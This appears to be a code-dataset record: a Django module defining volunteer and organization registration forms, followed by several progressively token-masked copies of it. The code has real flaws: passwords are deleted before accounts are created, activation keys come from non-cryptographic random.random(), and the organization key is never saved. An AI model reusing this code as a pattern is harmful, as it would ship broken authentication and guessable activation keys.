tails')\n barplot(t(m), xlab = 'Tail length',\n ylab = 'Percent base composition',\n legend=c('A','C','T','G'), col=my_cols)\n dev.off()\n '''\n with open('tmp.r', 'w') as f:\n f.write(li)\n cmdl = \"\"\"R CMD BATCH tmp.r\"\"\"\n os.system(cmdl)\n\n\ndef make_figs(data_filename, src_path):\n print \"In make_figs. Processing file %s\" % data_filename\n data = parse_data_file(data_filename)\n if(not os.path.exists(src_path + \"/figs\")):\n print \"making %s/figs\" % src_path\n os.system(\"mkdir %s/figs\" % src_path)\n files_for_R = write_for_R(data, src_path)\n r_script_for_barplot(files_for_R, src_path)\n\n \nif __name__ == '__main__':\n src_path = os.path.dirname(os.path.realpath(__file__))\n args = parse_input()\n data = parse_data_file(args.data_file)\n if(not os.path.exists(src_path + '/figs')):\n os.system('mkdir ' + src_path + '/figs')\n files_for_R = write_for_R(data)\n r_script_for_barplot(files_for_R)\n"
] | true |
9,922 |
5f680fb21fe1090dfb58f5b9260739b91ae04d99
|
from django import forms
from django.contrib.auth.models import User
from ServicePad.apps.account.models import UserProfile
import hashlib, random, datetime
from ServicePad.apps.registration.models import ActivationKey
MIN_PASSWORD_LENGTH=8
MAX_PASSWORD_LENGTH=30
class UserRegistrationForm(forms.Form):
first_name = forms.CharField(required=True,max_length=30)
last_name = forms.CharField(required=True,max_length=30)
email = forms.EmailField(required=True,max_length=30)
password = forms.CharField(widget=forms.PasswordInput,min_length=MIN_PASSWORD_LENGTH,max_length=MAX_PASSWORD_LENGTH)
confirm_password = forms.CharField(widget=forms.PasswordInput,min_length=MIN_PASSWORD_LENGTH,max_length=MAX_PASSWORD_LENGTH)
form_type = forms.CharField(widget=forms.HiddenInput(),initial=UserProfile.ACCOUNT_VOLUNTEER)
def clean(self):
cleaned_data = self.cleaned_data
#Verify usernames
try:
User.objects.get(username__exact=cleaned_data.get('email'))
except User.DoesNotExist:
pass
else:
raise forms.ValidationError("Email already exists")
#Verify Passwords
password = cleaned_data.get('password')
confirm_password = cleaned_data.get('confirm_password')
if password != confirm_password:
raise forms.ValidationError("Passwords do not match")
del cleaned_data['password']
del cleaned_data['confirm_password']
account_type = int(cleaned_data.get('form_type'))
if account_type != UserProfile.ACCOUNT_VOLUNTEER and account_type != UserProfile.ACCOUNT_ORGANIZATION:
raise forms.ValidationError("Invalid account type")
return cleaned_data
def save(self):
new_user = User.objects.create_user(self.cleaned_data['email'], self.cleaned_data['email'], self.cleaned_data.get('password'))
new_user.first_name = self.cleaned_data['first_name']
new_user.last_name = self.cleaned_data['last_name']
new_user.is_active = False
new_user.save()
#create the activation key
salt = str(random.random())
hash_salt = hashlib.sha224(salt).hexdigest()
activation_key = hashlib.sha224(hash_salt + new_user.username).hexdigest()[:32]
key_expires = datetime.datetime.today() + datetime.timedelta(days=1)
key_obj = ActivationKey(user=new_user,activation_key=activation_key,key_expires=key_expires)
key_obj.save()
new_profile = UserProfile(user=new_user,account_type=UserProfile.ACCOUNT_VOLUNTEER)
new_profile.save()
return new_user
class OrganizationRegistrationForm(forms.Form):
business_name = forms.CharField(required=True,max_length=60)
primary_contact_first_name = forms.CharField(required=True,max_length=30)
primary_contact_last_name = forms.CharField(required=True,max_length=30)
primary_contact_phone = forms.CharField(required=True,max_length=30)
primary_contact_email = forms.EmailField(required=True,max_length=30)
password = forms.CharField(widget=forms.PasswordInput,min_length=MIN_PASSWORD_LENGTH,max_length=MAX_PASSWORD_LENGTH)
confirm_password = forms.CharField(widget=forms.PasswordInput,min_length=MIN_PASSWORD_LENGTH,max_length=MAX_PASSWORD_LENGTH)
form_type = forms.CharField(widget=forms.HiddenInput(),initial=UserProfile.ACCOUNT_ORGANIZATION)
def clean(self):
cleaned_data = self.cleaned_data
#Verify usernames
try:
User.objects.get(username__exact=cleaned_data.get('primary_contact_email'))
except User.DoesNotExist:
pass
else:
raise forms.ValidationError("Email already exists")
#Verify Passwords
password = cleaned_data.get('password')
confirm_password = cleaned_data.get('confirm_password')
if password != confirm_password:
raise forms.ValidationError("Passwords do not match")
del cleaned_data['password']
del cleaned_data['confirm_password']
return cleaned_data
def save(self):
new_user = User.objects.create_user(self.cleaned_data['primary_contact_email'], self.cleaned_data['primary_contact_email'], self.cleaned_data.get('password'))
new_user.first_name = self.cleaned_data['primary_contact_first_name']
new_user.last_name = self.cleaned_data['primary_contact_last_name']
new_user.is_active = False
new_user.save()
salt = str(random.random())
hash_salt = hashlib.sha224(salt).hexdigest()
activation_key = hashlib.sha224(hash_salt + new_user.username).hexdigest()[:32]
key_expires = datetime.datetime.today() + datetime.timedelta(days=1)
new_profile = UserProfile(user=new_user,
account_type=UserProfile.ACCOUNT_ORGANIZATION,
business_name=self.cleaned_data['business_name']
)
new_profile.save()
return new_user
|
[
"from django import forms\nfrom django.contrib.auth.models import User\nfrom ServicePad.apps.account.models import UserProfile\nimport hashlib, random, datetime\nfrom ServicePad.apps.registration.models import ActivationKey\n\nMIN_PASSWORD_LENGTH=8\nMAX_PASSWORD_LENGTH=30\n\nclass UserRegistrationForm(forms.Form):\n first_name = forms.CharField(required=True,max_length=30)\n last_name = forms.CharField(required=True,max_length=30)\n email = forms.EmailField(required=True,max_length=30)\n password = forms.CharField(widget=forms.PasswordInput,min_length=MIN_PASSWORD_LENGTH,max_length=MAX_PASSWORD_LENGTH)\n confirm_password = forms.CharField(widget=forms.PasswordInput,min_length=MIN_PASSWORD_LENGTH,max_length=MAX_PASSWORD_LENGTH)\n form_type = forms.CharField(widget=forms.HiddenInput(),initial=UserProfile.ACCOUNT_VOLUNTEER)\n \n def clean(self):\n cleaned_data = self.cleaned_data\n \n #Verify usernames\n try:\n User.objects.get(username__exact=cleaned_data.get('email'))\n except User.DoesNotExist:\n pass\n else:\n raise forms.ValidationError(\"Email already exists\")\n \n #Verify Passwords\n password = cleaned_data.get('password')\n confirm_password = cleaned_data.get('confirm_password')\n if password != confirm_password:\n raise forms.ValidationError(\"Passwords do not match\")\n del cleaned_data['password']\n del cleaned_data['confirm_password']\n \n account_type = int(cleaned_data.get('form_type'))\n if account_type != UserProfile.ACCOUNT_VOLUNTEER and account_type != UserProfile.ACCOUNT_ORGANIZATION:\n raise forms.ValidationError(\"Invalid account type\")\n \n \n return cleaned_data\n \n def save(self):\n new_user = User.objects.create_user(self.cleaned_data['email'], self.cleaned_data['email'], self.cleaned_data.get('password'))\n new_user.first_name = self.cleaned_data['first_name']\n new_user.last_name = self.cleaned_data['last_name']\n new_user.is_active = False\n new_user.save()\n \n #create the activation key\n salt = str(random.random())\n hash_salt = hashlib.sha224(salt).hexdigest()\n activation_key = hashlib.sha224(hash_salt + new_user.username).hexdigest()[:32]\n key_expires = datetime.datetime.today() + datetime.timedelta(days=1)\n \n key_obj = ActivationKey(user=new_user,activation_key=activation_key,key_expires=key_expires)\n key_obj.save()\n \n new_profile = UserProfile(user=new_user,account_type=UserProfile.ACCOUNT_VOLUNTEER)\n \n new_profile.save()\n \n return new_user\n\nclass OrganizationRegistrationForm(forms.Form):\n business_name = forms.CharField(required=True,max_length=60)\n primary_contact_first_name = forms.CharField(required=True,max_length=30)\n primary_contact_last_name = forms.CharField(required=True,max_length=30)\n primary_contact_phone = forms.CharField(required=True,max_length=30)\n primary_contact_email = forms.EmailField(required=True,max_length=30)\n password = forms.CharField(widget=forms.PasswordInput,min_length=MIN_PASSWORD_LENGTH,max_length=MAX_PASSWORD_LENGTH)\n confirm_password = forms.CharField(widget=forms.PasswordInput,min_length=MIN_PASSWORD_LENGTH,max_length=MAX_PASSWORD_LENGTH)\n form_type = forms.CharField(widget=forms.HiddenInput(),initial=UserProfile.ACCOUNT_ORGANIZATION)\n \n def clean(self):\n cleaned_data = self.cleaned_data\n \n #Verify usernames\n try:\n User.objects.get(username__exact=cleaned_data.get('primary_contact_email'))\n except User.DoesNotExist:\n pass\n else:\n raise forms.ValidationError(\"Email already exists\")\n \n #Verify Passwords\n password = cleaned_data.get('password')\n confirm_password = cleaned_data.get('confirm_password')\n if password != confirm_password:\n raise forms.ValidationError(\"Passwords do not match\")\n del cleaned_data['password']\n del cleaned_data['confirm_password']\n \n \n return cleaned_data\n \n def save(self):\n new_user = User.objects.create_user(self.cleaned_data['primary_contact_email'], self.cleaned_data['primary_contact_email'], self.cleaned_data.get('password'))\n new_user.first_name = self.cleaned_data['primary_contact_first_name']\n new_user.last_name = self.cleaned_data['primary_contact_last_name']\n new_user.is_active = False\n new_user.save()\n \n salt = str(random.random())\n hash_salt = hashlib.sha224(salt).hexdigest()\n activation_key = hashlib.sha224(hash_salt + new_user.username).hexdigest()[:32]\n key_expires = datetime.datetime.today() + datetime.timedelta(days=1)\n new_profile = UserProfile(user=new_user,\n account_type=UserProfile.ACCOUNT_ORGANIZATION,\n business_name=self.cleaned_data['business_name']\n )\n \n new_profile.save()\n \n return new_user\n\n ",
"from django import forms\nfrom django.contrib.auth.models import User\nfrom ServicePad.apps.account.models import UserProfile\nimport hashlib, random, datetime\nfrom ServicePad.apps.registration.models import ActivationKey\nMIN_PASSWORD_LENGTH = 8\nMAX_PASSWORD_LENGTH = 30\n\n\nclass UserRegistrationForm(forms.Form):\n first_name = forms.CharField(required=True, max_length=30)\n last_name = forms.CharField(required=True, max_length=30)\n email = forms.EmailField(required=True, max_length=30)\n password = forms.CharField(widget=forms.PasswordInput, min_length=\n MIN_PASSWORD_LENGTH, max_length=MAX_PASSWORD_LENGTH)\n confirm_password = forms.CharField(widget=forms.PasswordInput,\n min_length=MIN_PASSWORD_LENGTH, max_length=MAX_PASSWORD_LENGTH)\n form_type = forms.CharField(widget=forms.HiddenInput(), initial=\n UserProfile.ACCOUNT_VOLUNTEER)\n\n def clean(self):\n cleaned_data = self.cleaned_data\n try:\n User.objects.get(username__exact=cleaned_data.get('email'))\n except User.DoesNotExist:\n pass\n else:\n raise forms.ValidationError('Email already exists')\n password = cleaned_data.get('password')\n confirm_password = cleaned_data.get('confirm_password')\n if password != confirm_password:\n raise forms.ValidationError('Passwords do not match')\n del cleaned_data['password']\n del cleaned_data['confirm_password']\n account_type = int(cleaned_data.get('form_type'))\n if (account_type != UserProfile.ACCOUNT_VOLUNTEER and account_type !=\n UserProfile.ACCOUNT_ORGANIZATION):\n raise forms.ValidationError('Invalid account type')\n return cleaned_data\n\n def save(self):\n new_user = User.objects.create_user(self.cleaned_data['email'],\n self.cleaned_data['email'], self.cleaned_data.get('password'))\n new_user.first_name = self.cleaned_data['first_name']\n new_user.last_name = self.cleaned_data['last_name']\n new_user.is_active = False\n new_user.save()\n salt = str(random.random())\n hash_salt = hashlib.sha224(salt).hexdigest()\n activation_key = hashlib.sha224(hash_salt + new_user.username\n ).hexdigest()[:32]\n key_expires = datetime.datetime.today() + datetime.timedelta(days=1)\n key_obj = ActivationKey(user=new_user, activation_key=\n activation_key, key_expires=key_expires)\n key_obj.save()\n new_profile = UserProfile(user=new_user, account_type=UserProfile.\n ACCOUNT_VOLUNTEER)\n new_profile.save()\n return new_user\n\n\nclass OrganizationRegistrationForm(forms.Form):\n business_name = forms.CharField(required=True, max_length=60)\n primary_contact_first_name = forms.CharField(required=True, max_length=30)\n primary_contact_last_name = forms.CharField(required=True, max_length=30)\n primary_contact_phone = forms.CharField(required=True, max_length=30)\n primary_contact_email = forms.EmailField(required=True, max_length=30)\n password = forms.CharField(widget=forms.PasswordInput, min_length=\n MIN_PASSWORD_LENGTH, max_length=MAX_PASSWORD_LENGTH)\n confirm_password = forms.CharField(widget=forms.PasswordInput,\n min_length=MIN_PASSWORD_LENGTH, max_length=MAX_PASSWORD_LENGTH)\n form_type = forms.CharField(widget=forms.HiddenInput(), initial=\n UserProfile.ACCOUNT_ORGANIZATION)\n\n def clean(self):\n cleaned_data = self.cleaned_data\n try:\n User.objects.get(username__exact=cleaned_data.get(\n 'primary_contact_email'))\n except User.DoesNotExist:\n pass\n else:\n raise forms.ValidationError('Email already exists')\n password = cleaned_data.get('password')\n confirm_password = cleaned_data.get('confirm_password')\n if password != confirm_password:\n raise forms.ValidationError('Passwords do not match')\n del cleaned_data['password']\n del cleaned_data['confirm_password']\n return cleaned_data\n\n def save(self):\n new_user = User.objects.create_user(self.cleaned_data[\n 'primary_contact_email'], self.cleaned_data[\n 'primary_contact_email'], self.cleaned_data.get('password'))\n new_user.first_name = self.cleaned_data['primary_contact_first_name']\n new_user.last_name = self.cleaned_data['primary_contact_last_name']\n new_user.is_active = False\n new_user.save()\n salt = str(random.random())\n hash_salt = hashlib.sha224(salt).hexdigest()\n activation_key = hashlib.sha224(hash_salt + new_user.username\n ).hexdigest()[:32]\n key_expires = datetime.datetime.today() + datetime.timedelta(days=1)\n new_profile = UserProfile(user=new_user, account_type=UserProfile.\n ACCOUNT_ORGANIZATION, business_name=self.cleaned_data[\n 'business_name'])\n new_profile.save()\n return new_user\n",
"<import token>\nMIN_PASSWORD_LENGTH = 8\nMAX_PASSWORD_LENGTH = 30\n\n\nclass UserRegistrationForm(forms.Form):\n first_name = forms.CharField(required=True, max_length=30)\n last_name = forms.CharField(required=True, max_length=30)\n email = forms.EmailField(required=True, max_length=30)\n password = forms.CharField(widget=forms.PasswordInput, min_length=\n MIN_PASSWORD_LENGTH, max_length=MAX_PASSWORD_LENGTH)\n confirm_password = forms.CharField(widget=forms.PasswordInput,\n min_length=MIN_PASSWORD_LENGTH, max_length=MAX_PASSWORD_LENGTH)\n form_type = forms.CharField(widget=forms.HiddenInput(), initial=\n UserProfile.ACCOUNT_VOLUNTEER)\n\n def clean(self):\n cleaned_data = self.cleaned_data\n try:\n User.objects.get(username__exact=cleaned_data.get('email'))\n except User.DoesNotExist:\n pass\n else:\n raise forms.ValidationError('Email already exists')\n password = cleaned_data.get('password')\n confirm_password = cleaned_data.get('confirm_password')\n if password != confirm_password:\n raise forms.ValidationError('Passwords do not match')\n del cleaned_data['password']\n del cleaned_data['confirm_password']\n account_type = int(cleaned_data.get('form_type'))\n if (account_type != UserProfile.ACCOUNT_VOLUNTEER and account_type !=\n UserProfile.ACCOUNT_ORGANIZATION):\n raise forms.ValidationError('Invalid account type')\n return cleaned_data\n\n def save(self):\n new_user = User.objects.create_user(self.cleaned_data['email'],\n self.cleaned_data['email'], self.cleaned_data.get('password'))\n new_user.first_name = self.cleaned_data['first_name']\n new_user.last_name = self.cleaned_data['last_name']\n new_user.is_active = False\n new_user.save()\n salt = str(random.random())\n hash_salt = hashlib.sha224(salt).hexdigest()\n activation_key = hashlib.sha224(hash_salt + new_user.username\n ).hexdigest()[:32]\n key_expires = datetime.datetime.today() + datetime.timedelta(days=1)\n key_obj = ActivationKey(user=new_user, activation_key=\n activation_key, key_expires=key_expires)\n key_obj.save()\n new_profile = UserProfile(user=new_user, account_type=UserProfile.\n ACCOUNT_VOLUNTEER)\n new_profile.save()\n return new_user\n\n\nclass OrganizationRegistrationForm(forms.Form):\n business_name = forms.CharField(required=True, max_length=60)\n primary_contact_first_name = forms.CharField(required=True, max_length=30)\n primary_contact_last_name = forms.CharField(required=True, max_length=30)\n primary_contact_phone = forms.CharField(required=True, max_length=30)\n primary_contact_email = forms.EmailField(required=True, max_length=30)\n password = forms.CharField(widget=forms.PasswordInput, min_length=\n MIN_PASSWORD_LENGTH, max_length=MAX_PASSWORD_LENGTH)\n confirm_password = forms.CharField(widget=forms.PasswordInput,\n min_length=MIN_PASSWORD_LENGTH, max_length=MAX_PASSWORD_LENGTH)\n form_type = forms.CharField(widget=forms.HiddenInput(), initial=\n UserProfile.ACCOUNT_ORGANIZATION)\n\n def clean(self):\n cleaned_data = self.cleaned_data\n try:\n User.objects.get(username__exact=cleaned_data.get(\n 'primary_contact_email'))\n except User.DoesNotExist:\n pass\n else:\n raise forms.ValidationError('Email already exists')\n password = cleaned_data.get('password')\n confirm_password = cleaned_data.get('confirm_password')\n if password != confirm_password:\n raise forms.ValidationError('Passwords do not match')\n del cleaned_data['password']\n del cleaned_data['confirm_password']\n return cleaned_data\n\n def save(self):\n new_user = User.objects.create_user(self.cleaned_data[\n 'primary_contact_email'], self.cleaned_data[\n 'primary_contact_email'], self.cleaned_data.get('password'))\n new_user.first_name = self.cleaned_data['primary_contact_first_name']\n new_user.last_name = self.cleaned_data['primary_contact_last_name']\n new_user.is_active = False\n new_user.save()\n salt = str(random.random())\n hash_salt = hashlib.sha224(salt).hexdigest()\n activation_key = hashlib.sha224(hash_salt + new_user.username\n ).hexdigest()[:32]\n key_expires = datetime.datetime.today() + datetime.timedelta(days=1)\n new_profile = UserProfile(user=new_user, account_type=UserProfile.\n ACCOUNT_ORGANIZATION, business_name=self.cleaned_data[\n 'business_name'])\n new_profile.save()\n return new_user\n",
"<import token>\n<assignment token>\n\n\nclass UserRegistrationForm(forms.Form):\n first_name = forms.CharField(required=True, max_length=30)\n last_name = forms.CharField(required=True, max_length=30)\n email = forms.EmailField(required=True, max_length=30)\n password = forms.CharField(widget=forms.PasswordInput, min_length=\n MIN_PASSWORD_LENGTH, max_length=MAX_PASSWORD_LENGTH)\n confirm_password = forms.CharField(widget=forms.PasswordInput,\n min_length=MIN_PASSWORD_LENGTH, max_length=MAX_PASSWORD_LENGTH)\n form_type = forms.CharField(widget=forms.HiddenInput(), initial=\n UserProfile.ACCOUNT_VOLUNTEER)\n\n def clean(self):\n cleaned_data = self.cleaned_data\n try:\n User.objects.get(username__exact=cleaned_data.get('email'))\n except User.DoesNotExist:\n pass\n else:\n raise forms.ValidationError('Email already exists')\n password = cleaned_data.get('password')\n confirm_password = cleaned_data.get('confirm_password')\n if password != confirm_password:\n raise forms.ValidationError('Passwords do not match')\n del cleaned_data['password']\n del cleaned_data['confirm_password']\n account_type = int(cleaned_data.get('form_type'))\n if (account_type != UserProfile.ACCOUNT_VOLUNTEER and account_type !=\n UserProfile.ACCOUNT_ORGANIZATION):\n raise forms.ValidationError('Invalid account type')\n return cleaned_data\n\n def save(self):\n new_user = User.objects.create_user(self.cleaned_data['email'],\n self.cleaned_data['email'], self.cleaned_data.get('password'))\n new_user.first_name = self.cleaned_data['first_name']\n new_user.last_name = self.cleaned_data['last_name']\n new_user.is_active = False\n new_user.save()\n salt = str(random.random())\n hash_salt = hashlib.sha224(salt).hexdigest()\n activation_key = hashlib.sha224(hash_salt + new_user.username\n ).hexdigest()[:32]\n key_expires = datetime.datetime.today() + datetime.timedelta(days=1)\n key_obj = ActivationKey(user=new_user, activation_key=\n activation_key, key_expires=key_expires)\n key_obj.save()\n new_profile = UserProfile(user=new_user, account_type=UserProfile.\n ACCOUNT_VOLUNTEER)\n new_profile.save()\n return new_user\n\n\nclass OrganizationRegistrationForm(forms.Form):\n business_name = forms.CharField(required=True, max_length=60)\n primary_contact_first_name = forms.CharField(required=True, max_length=30)\n primary_contact_last_name = forms.CharField(required=True, max_length=30)\n primary_contact_phone = forms.CharField(required=True, max_length=30)\n primary_contact_email = forms.EmailField(required=True, max_length=30)\n password = forms.CharField(widget=forms.PasswordInput, min_length=\n MIN_PASSWORD_LENGTH, max_length=MAX_PASSWORD_LENGTH)\n confirm_password = forms.CharField(widget=forms.PasswordInput,\n min_length=MIN_PASSWORD_LENGTH, max_length=MAX_PASSWORD_LENGTH)\n form_type = forms.CharField(widget=forms.HiddenInput(), initial=\n UserProfile.ACCOUNT_ORGANIZATION)\n\n def clean(self):\n cleaned_data = self.cleaned_data\n try:\n User.objects.get(username__exact=cleaned_data.get(\n 'primary_contact_email'))\n except User.DoesNotExist:\n pass\n else:\n raise forms.ValidationError('Email already exists')\n password = cleaned_data.get('password')\n confirm_password = cleaned_data.get('confirm_password')\n if password != confirm_password:\n raise forms.ValidationError('Passwords do not match')\n del cleaned_data['password']\n del cleaned_data['confirm_password']\n return cleaned_data\n\n def save(self):\n new_user = User.objects.create_user(self.cleaned_data[\n 'primary_contact_email'], self.cleaned_data[\n 'primary_contact_email'], self.cleaned_data.get('password'))\n new_user.first_name = self.cleaned_data['primary_contact_first_name']\n new_user.last_name = self.cleaned_data['primary_contact_last_name']\n new_user.is_active = False\n new_user.save()\n salt = str(random.random())\n hash_salt = hashlib.sha224(salt).hexdigest()\n activation_key = hashlib.sha224(hash_salt + new_user.username\n ).hexdigest()[:32]\n key_expires = datetime.datetime.today() + datetime.timedelta(days=1)\n new_profile = UserProfile(user=new_user, account_type=UserProfile.\n ACCOUNT_ORGANIZATION, business_name=self.cleaned_data[\n 'business_name'])\n new_profile.save()\n return new_user\n",
"<import token>\n<assignment token>\n\n\nclass UserRegistrationForm(forms.Form):\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n\n def clean(self):\n cleaned_data = self.cleaned_data\n try:\n User.objects.get(username__exact=cleaned_data.get('email'))\n except User.DoesNotExist:\n pass\n else:\n raise forms.ValidationError('Email already exists')\n password = cleaned_data.get('password')\n confirm_password = cleaned_data.get('confirm_password')\n if password != confirm_password:\n raise forms.ValidationError('Passwords do not match')\n del cleaned_data['password']\n del cleaned_data['confirm_password']\n account_type = int(cleaned_data.get('form_type'))\n if (account_type != UserProfile.ACCOUNT_VOLUNTEER and account_type !=\n UserProfile.ACCOUNT_ORGANIZATION):\n raise forms.ValidationError('Invalid account type')\n return cleaned_data\n\n def save(self):\n new_user = User.objects.create_user(self.cleaned_data['email'],\n self.cleaned_data['email'], self.cleaned_data.get('password'))\n new_user.first_name = self.cleaned_data['first_name']\n new_user.last_name = self.cleaned_data['last_name']\n new_user.is_active = False\n new_user.save()\n salt = str(random.random())\n hash_salt = hashlib.sha224(salt).hexdigest()\n activation_key = hashlib.sha224(hash_salt + new_user.username\n ).hexdigest()[:32]\n key_expires = datetime.datetime.today() + datetime.timedelta(days=1)\n key_obj = ActivationKey(user=new_user, activation_key=\n activation_key, key_expires=key_expires)\n key_obj.save()\n new_profile = UserProfile(user=new_user, account_type=UserProfile.\n ACCOUNT_VOLUNTEER)\n new_profile.save()\n return new_user\n\n\nclass OrganizationRegistrationForm(forms.Form):\n business_name = forms.CharField(required=True, max_length=60)\n primary_contact_first_name = forms.CharField(required=True, max_length=30)\n primary_contact_last_name = forms.CharField(required=True, max_length=30)\n primary_contact_phone = forms.CharField(required=True, max_length=30)\n primary_contact_email = forms.EmailField(required=True, max_length=30)\n password = forms.CharField(widget=forms.PasswordInput, min_length=\n MIN_PASSWORD_LENGTH, max_length=MAX_PASSWORD_LENGTH)\n confirm_password = forms.CharField(widget=forms.PasswordInput,\n min_length=MIN_PASSWORD_LENGTH, max_length=MAX_PASSWORD_LENGTH)\n form_type = forms.CharField(widget=forms.HiddenInput(), initial=\n UserProfile.ACCOUNT_ORGANIZATION)\n\n def clean(self):\n cleaned_data = self.cleaned_data\n try:\n User.objects.get(username__exact=cleaned_data.get(\n 'primary_contact_email'))\n except User.DoesNotExist:\n pass\n else:\n raise forms.ValidationError('Email already exists')\n password = cleaned_data.get('password')\n confirm_password = cleaned_data.get('confirm_password')\n if password != confirm_password:\n raise forms.ValidationError('Passwords do not match')\n del cleaned_data['password']\n del cleaned_data['confirm_password']\n return cleaned_data\n\n def save(self):\n new_user = User.objects.create_user(self.cleaned_data[\n 'primary_contact_email'], self.cleaned_data[\n 'primary_contact_email'], self.cleaned_data.get('password'))\n new_user.first_name = self.cleaned_data['primary_contact_first_name']\n new_user.last_name = self.cleaned_data['primary_contact_last_name']\n new_user.is_active = False\n new_user.save()\n salt = str(random.random())\n hash_salt = hashlib.sha224(salt).hexdigest()\n activation_key = hashlib.sha224(hash_salt + new_user.username\n ).hexdigest()[:32]\n key_expires = datetime.datetime.today() + datetime.timedelta(days=1)\n new_profile = UserProfile(user=new_user, account_type=UserProfile.\n ACCOUNT_ORGANIZATION, business_name=self.cleaned_data[\n 'business_name'])\n new_profile.save()\n return new_user\n",
"<import token>\n<assignment token>\n\n\nclass UserRegistrationForm(forms.Form):\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <function token>\n\n def save(self):\n new_user = User.objects.create_user(self.cleaned_data['email'],\n self.cleaned_data['email'], self.cleaned_data.get('password'))\n new_user.first_name = self.cleaned_data['first_name']\n new_user.last_name = self.cleaned_data['last_name']\n new_user.is_active = False\n new_user.save()\n salt = str(random.random())\n hash_salt = hashlib.sha224(salt).hexdigest()\n activation_key = hashlib.sha224(hash_salt + new_user.username\n ).hexdigest()[:32]\n key_expires = datetime.datetime.today() + datetime.timedelta(days=1)\n key_obj = ActivationKey(user=new_user, activation_key=\n activation_key, key_expires=key_expires)\n key_obj.save()\n new_profile = UserProfile(user=new_user, account_type=UserProfile.\n ACCOUNT_VOLUNTEER)\n new_profile.save()\n return new_user\n\n\nclass OrganizationRegistrationForm(forms.Form):\n business_name = forms.CharField(required=True, max_length=60)\n primary_contact_first_name = forms.CharField(required=True, max_length=30)\n primary_contact_last_name = forms.CharField(required=True, max_length=30)\n primary_contact_phone = forms.CharField(required=True, max_length=30)\n primary_contact_email = forms.EmailField(required=True, max_length=30)\n password = forms.CharField(widget=forms.PasswordInput, min_length=\n MIN_PASSWORD_LENGTH, max_length=MAX_PASSWORD_LENGTH)\n confirm_password = forms.CharField(widget=forms.PasswordInput,\n min_length=MIN_PASSWORD_LENGTH, max_length=MAX_PASSWORD_LENGTH)\n form_type = forms.CharField(widget=forms.HiddenInput(), initial=\n UserProfile.ACCOUNT_ORGANIZATION)\n\n def clean(self):\n cleaned_data = self.cleaned_data\n try:\n User.objects.get(username__exact=cleaned_data.get(\n 'primary_contact_email'))\n except User.DoesNotExist:\n pass\n else:\n raise forms.ValidationError('Email already exists')\n password = cleaned_data.get('password')\n confirm_password = cleaned_data.get('confirm_password')\n if password != confirm_password:\n raise forms.ValidationError('Passwords do not match')\n del cleaned_data['password']\n del cleaned_data['confirm_password']\n return cleaned_data\n\n def save(self):\n new_user = User.objects.create_user(self.cleaned_data[\n 'primary_contact_email'], self.cleaned_data[\n 'primary_contact_email'], self.cleaned_data.get('password'))\n new_user.first_name = self.cleaned_data['primary_contact_first_name']\n new_user.last_name = self.cleaned_data['primary_contact_last_name']\n new_user.is_active = False\n new_user.save()\n salt = str(random.random())\n hash_salt = hashlib.sha224(salt).hexdigest()\n activation_key = hashlib.sha224(hash_salt + new_user.username\n ).hexdigest()[:32]\n key_expires = datetime.datetime.today() + datetime.timedelta(days=1)\n new_profile = UserProfile(user=new_user, account_type=UserProfile.\n ACCOUNT_ORGANIZATION, business_name=self.cleaned_data[\n 'business_name'])\n new_profile.save()\n return new_user\n",
"<import token>\n<assignment token>\n\n\nclass UserRegistrationForm(forms.Form):\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <function token>\n <function token>\n\n\nclass OrganizationRegistrationForm(forms.Form):\n business_name = forms.CharField(required=True, max_length=60)\n primary_contact_first_name = forms.CharField(required=True, max_length=30)\n primary_contact_last_name = forms.CharField(required=True, max_length=30)\n primary_contact_phone = forms.CharField(required=True, max_length=30)\n primary_contact_email = forms.EmailField(required=True, max_length=30)\n password = forms.CharField(widget=forms.PasswordInput, min_length=\n MIN_PASSWORD_LENGTH, max_length=MAX_PASSWORD_LENGTH)\n confirm_password = forms.CharField(widget=forms.PasswordInput,\n min_length=MIN_PASSWORD_LENGTH, max_length=MAX_PASSWORD_LENGTH)\n form_type = forms.CharField(widget=forms.HiddenInput(), initial=\n UserProfile.ACCOUNT_ORGANIZATION)\n\n def clean(self):\n cleaned_data = self.cleaned_data\n try:\n User.objects.get(username__exact=cleaned_data.get(\n 'primary_contact_email'))\n except User.DoesNotExist:\n pass\n else:\n raise forms.ValidationError('Email already exists')\n password = cleaned_data.get('password')\n confirm_password = cleaned_data.get('confirm_password')\n if password != confirm_password:\n raise forms.ValidationError('Passwords do not match')\n del cleaned_data['password']\n del cleaned_data['confirm_password']\n return cleaned_data\n\n def save(self):\n new_user = User.objects.create_user(self.cleaned_data[\n 'primary_contact_email'], self.cleaned_data[\n 'primary_contact_email'], self.cleaned_data.get('password'))\n new_user.first_name = self.cleaned_data['primary_contact_first_name']\n new_user.last_name = self.cleaned_data['primary_contact_last_name']\n new_user.is_active = False\n new_user.save()\n salt = str(random.random())\n hash_salt = hashlib.sha224(salt).hexdigest()\n activation_key = hashlib.sha224(hash_salt + new_user.username\n ).hexdigest()[:32]\n key_expires = datetime.datetime.today() + datetime.timedelta(days=1)\n new_profile = UserProfile(user=new_user, account_type=UserProfile.\n ACCOUNT_ORGANIZATION, business_name=self.cleaned_data[\n 'business_name'])\n new_profile.save()\n return new_user\n",
"<import token>\n<assignment token>\n<class token>\n\n\nclass OrganizationRegistrationForm(forms.Form):\n business_name = forms.CharField(required=True, max_length=60)\n primary_contact_first_name = forms.CharField(required=True, max_length=30)\n primary_contact_last_name = forms.CharField(required=True, max_length=30)\n primary_contact_phone = forms.CharField(required=True, max_length=30)\n primary_contact_email = forms.EmailField(required=True, max_length=30)\n password = forms.CharField(widget=forms.PasswordInput, min_length=\n MIN_PASSWORD_LENGTH, max_length=MAX_PASSWORD_LENGTH)\n confirm_password = forms.CharField(widget=forms.PasswordInput,\n min_length=MIN_PASSWORD_LENGTH, max_length=MAX_PASSWORD_LENGTH)\n form_type = forms.CharField(widget=forms.HiddenInput(), initial=\n UserProfile.ACCOUNT_ORGANIZATION)\n\n def clean(self):\n cleaned_data = self.cleaned_data\n try:\n User.objects.get(username__exact=cleaned_data.get(\n 'primary_contact_email'))\n except User.DoesNotExist:\n pass\n else:\n raise forms.ValidationError('Email already exists')\n password = cleaned_data.get('password')\n confirm_password = cleaned_data.get('confirm_password')\n if password != confirm_password:\n raise forms.ValidationError('Passwords do not match')\n del cleaned_data['password']\n del cleaned_data['confirm_password']\n return cleaned_data\n\n def save(self):\n new_user = User.objects.create_user(self.cleaned_data[\n 'primary_contact_email'], self.cleaned_data[\n 